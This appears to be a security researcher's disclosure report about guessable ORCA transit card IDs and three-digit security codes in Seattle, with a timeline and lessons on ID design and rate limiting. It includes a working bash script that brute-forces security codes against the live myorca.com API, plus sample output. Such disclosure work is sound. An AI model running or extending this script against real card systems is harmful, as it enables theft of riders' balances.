Anyone could steal your bus money in Seattle
Hacking the government to prevent cash from being stolen from millions of passengers.
Overview
This is a report on a critical-severity exploit that I discovered with the Washington ORCA transportation system, which services millions of riders annually.
I first noticed this issue in 2021 during a visit to Seattle. Like any generic tourist, I decided to check out the space needle. There was a neat tram that connected the space needle to downtown. This tram used something called an ORCA card for fares, which was compatible with the wider transportation system in the area. The various stations had vending machines that spit out these cards:
On the cards there are two numbers: an eight digit ID and a three digit security code. These two numbers were the only required credentials for authenticating with an online service to manage the card. According to the website, ORCA cards may be treated like cash and hold up to $400.
The Exploit
Fundamentally, this exploit relies on the fact that ORCA card IDs and security codes are easily guessable. At the time of my visit, cards seemed to be dispensed from machines with incrementing IDs. So if customer A bought a card with ID 10000001, then you could be pretty sure the next customer to that vending machine would get a card with ID 10000002. The three digit security code only provides a theoretical range of 1000 possible values, which is easily within the range of what can be brute forced by a computer. But this in of itself isn't enough for a real-world exploit.
The second part of the exploit involves the ORCA website. What I'm about to describe also worked back in 2021, but recently the ORCA website was redesigned, so examples are given with the new website.
The exploit in bash form is as follows (all IDs in code samples have been replaced with fakes):
orca.sh
#!/bin/bash
cardid="12345678"
for i in {000..999}; do
response=$(
curl 'https://www.myorca.com/umbraco/Api/PublicApi/GuestAddCard' -X POST \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' --silent --show-error \
--data-raw 'AddCardNumber='$cardid'&AddSecurityCode='$i'&AddBalanceProtectionCode=&Locale=en'
)
if [[ $response == *'"Success":true'* ]]; then
echo "Security Code: " $i
echo $response
break
fi
done
Cleaned up output for my ORCA card showing my security code and $7 balance:
Security Code: 999
{
"ErrorsByField":{},
"Success":true,
"Messages":[],
"Data":{
"AssociationType":1,
"PrimaryAccountId":null,
"PreTaxBalance":0,
"Balance":700,
"State":1,
"PrintedNumber":"12345678",
"FareCategory":1,
"FareMediaId":"A000000012345678",
"Id":22222222,
"BlockDate":null,
"Products":{
"Passes":[],
"PassesLength":0,
"Purse":[
{
"Id":88888888,
"Name":"E-purse",
"Description":"E-purse",
"Type":200,
"Price":0,
"IsActive":true,
"ValidFrom":"0001-01-01T08:00:00Z",
"ValidTo":"9999-12-31T23:59:59.999Z",
"RemainingValue":700,
"RefundValue":700,
"IsPreTax":false,
"ExternalIdentifier":1001,
"ActivateUntil":null,
"NumberOfTrips":null,
"AccountId":null,
"OwnerName":null
}
]
},
"Autoloads":[]
}
}
This was the extent of my testing as I wanted to avoid accessing any customer information besides my own. The script could have been easily expanded to iterate over the card ID range because there did not appear to be any rate limiting on the API endpoint and it gives overly informative validation error messages. Sound Transit has confirmed the validity of the exploit.
Scope of Issue
The ORCA card system is administered by a regional transit authority by the name of Sound Transit. According to a report published in 2017, Sound Transit services had carried a total of 47 million passengers at that time and averaged 157,000 riders on weekdays. Any of the cards issued to these millions of passengers could have been exploited to withdraw real cash by an attacker. Sound Transit refused to share details on the scope of the exploit, what vendors were involved, and the nature of the fixes deployed when requested. I neither have the necessary information to determine whether anyone has exploited this vulnerability nor can I guarantee that the issue has been fully resolved.
With the exploit described in this report, it was possible to:
- Withdraw balances from any ORCA card as real money.
- Transfer balances from any ORCA card to another.
- View any ORCA card balance.
- Lock any ORCA card preventing its use by the legal card owner.
- Discover the security credentials of any ORCA card for future exploitation.
- View account owners for some ORCA cards.
All of these actions were possible to do with complete anonymity.
General Lessons
The most important lesson from all of this for other engineers/developers is this: think about how you use IDs in your systems. Whether it's a physical good like a bus card or a record in a database, ID design can impact security. If you're using an ID to gate access to data or resources, then make sure it is fully random and long enough to not be brute forced. UUIDv4 is a reasonable default format for IDs that is widely supported.
The second lesson is that short little security codes/PINs are useless in a digital context without other protections in place. It may be difficult for a human to physically enter all 10,000 possible combinations to discover the correct four digit PIN, but it's an easy task for a computer. In almost every digital scenario, you're going to be better off requiring a strong password.
Recommendations
If you are a legal owner of an ORCA card with the legacy ID format (anything less than sixteen digits), you may use the official ORCA website to create an account / log in. From there, you may request a refund for the balance of your card.
There are a number of things ORCA administrators and vendors should do:
- Publicly acknowledge the issue and communicate the upgrade path for legacy card holders.
- Hire a third party to thoroughly investigate whether the vulnerability has been exploited by bad actors and publish findings in the open. Of the tens of millions of passengers that have gone through the system, I'm probably not the only person to have noticed this issue.
- Increase the length of the card ID and make it fully random. Both the card ID and security code being guessable is fundamentally what makes this exploit possible. I believe that a new card format has been rolled out, but I do not live in Seattle so I cannot test it.
- Add rate limiting to all APIs related to validating card information. Use very low limits for legacy card ID validations. Block IP addresses of obvious attackers for a significant amount of time. Consider disabling validation of cards by unauthenticated website users entirely. Some form of rate limiting seems to have been implemented following my disclosure of the exploit.
- Limit information provided in validation errors. Being able to validate card ID and security code separately dramatically reduces computational power needed for exploit. Follow-up testing indicated this had been fixed.
Timeline
- Fall 2021: I visit Seattle.
- 2021–11–29: I inform Seattle IT of issue via email.
- 2021–11–29: Seattle IT responds saying they are reviewing it.
- 2022–01–06: I ask about the status of the issue.
- 2022–06–29: I ask about the status once again.
- 2022–06–29: Seattle IT responds implying that it has not done anything. Says contact King County Metro about ORCA.
- 2023–01–29: I remember this whole saga and contact King County Metro via Twitter.
- 2023–01–30: I send King County Metro another message on Twitter.
- 2023–01–30: King County Metro responds that they have passed along my information to the ORCA Business Team at Sound Transit.
- 2023–02–02: Sound Transit confirms exploit.
- 2023–04–07: Sound Transit states they have deployed an unspecified fix when asked.
- 2023–05–12: I conduct some follow-up testing and determine that rate limiting has been added.
- 2023–07–18: First known public disclosure of incident is made via this report.
Disclaimer
All tests were conducted with cards that I legally acquired. Do not attempt this exploit. The information provided here is only being disclosed in the interest of public safety.
Looking for help?
I’m accepting new clients